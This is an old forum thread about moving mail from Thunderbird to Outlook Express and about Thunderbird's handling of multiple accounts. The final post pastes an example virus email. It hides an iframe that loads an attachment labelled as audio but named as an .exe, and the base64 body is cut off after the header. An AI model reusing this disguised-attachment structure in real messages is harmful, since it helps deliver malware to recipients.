Import Thunderbird messages into OutlookExpress

Discussion in 'Windows Desktop Systems' started by Heeter, Feb 8, 2005.

  1. Heeter

    Heeter Overclocked Like A Mother

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    Hi Guys,

    I have been using Thunderbird for a couple of years now.

    Although it is a very nice email client, it still not to sharp in handling multiple accounts. Anyways, since my machine is in need of a reformat, I think that I will moving to Outlook Express upon reinstall. I am wondering if I can import all my email folders from Thunderbird to OE?

    Thanks in advance,

    P.S. maybe there is another email client that is a little better at handling multiple accounts than Thunderbird that someone could recommend (Freeware).


    Thanks.

    Heeter
     
  2. NetRyder

    NetRyder Tech Junkie Folding Team

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    Take a look at the last post in this thread:
    http://www.osnn.net/forum/showthread.php?t=52629

    I used this method when moving from Thunderbird to Outlook 2003 and it works well. It's the same process for OE...you'll just have one less step to go through. :)
     
  3. Jewelzz

    Jewelzz OSNN Godlike Veteran

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    What type of problems are you having with multiple accounts in TB? How many accounts are you talking about?

    I have 5 or 6 coming through TB and don't have any problems
     
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  5. j79zlr

    j79zlr Glaanies script monkey Political User

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    Same here, one of the main reason I like Thunderbird is that it handles mutliple accounts much better than Outlook or Outlook Express.
     
  6. Heeter

    Heeter Overclocked Like A Mother

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    Well, It recieves email that was intended for one account, it distributes it throughout all the accounts. EG: Netryder sends me an email to my account, well my wife, my kid, and my other business accounts all recieve the same email in their inboxes. Also, it happens that when I recieve an email, I open to view it, and there is just a whole bunch of jargon at the bottom of the email body. On the first few occasions, I phoned the sender and asked what this mess was at the bottom of the body, they had no idea what I was talking about. I am about to give up on Thunderbird. I never remembered such issues with OE when I was using it. I have 3 personal accounts, and three business accounts within the Thunderbird client.


    Heeter
     
  7. j79zlr

    j79zlr Glaanies script monkey Political User

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    hmm, I've never had any issues like that. I've used thunderbird for a while on FreeBSD, Gentoo, and WinXP.

    The reason I like the way it handles multiple accounts is that each have their own folder tree, on Outlook I would have to set up rules to filter and move messages based on the account they were sent to. Then create sub folders in my Inbox for them to go to.

    [edit]If the mess was a bunch of seemingly random characters, that could be a virus infected email with an embedded exe, something like:

    --mltbvr
    Content-Type: text/html
    Content-Transfer-Encoding: quoted-printable

    <HTML>
    <HEAD></HEAD>
    <BODY>
    <iframe src=3D"cid:qolvrfiuogv" height=3D0 width=3D0></iframe>
    <BR>This is the qmail program<BR>
    <BR>I'm sorry to have to inform you that =
    I wasn't able to deliver your message =
    to the following addresses:<BR>
    <BR><BR><BR>Undeliverable mail to <B>slsjjpofn@freemail.net</B>

    </BODY></HTML>

    --mltbvr
    Content-Type: audio/x-wav; name="frti.exe"
    Content-Transfer-Encoding: base64
    Content-Id: <qolvrfiuogv>

    TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
    ZGUuDQ0KJAAAAAAAAAB+i6hSOurGATrqxgE66sYBQfbKATvqxgG59sgBLerGAdL1zAEA6sYBWPXV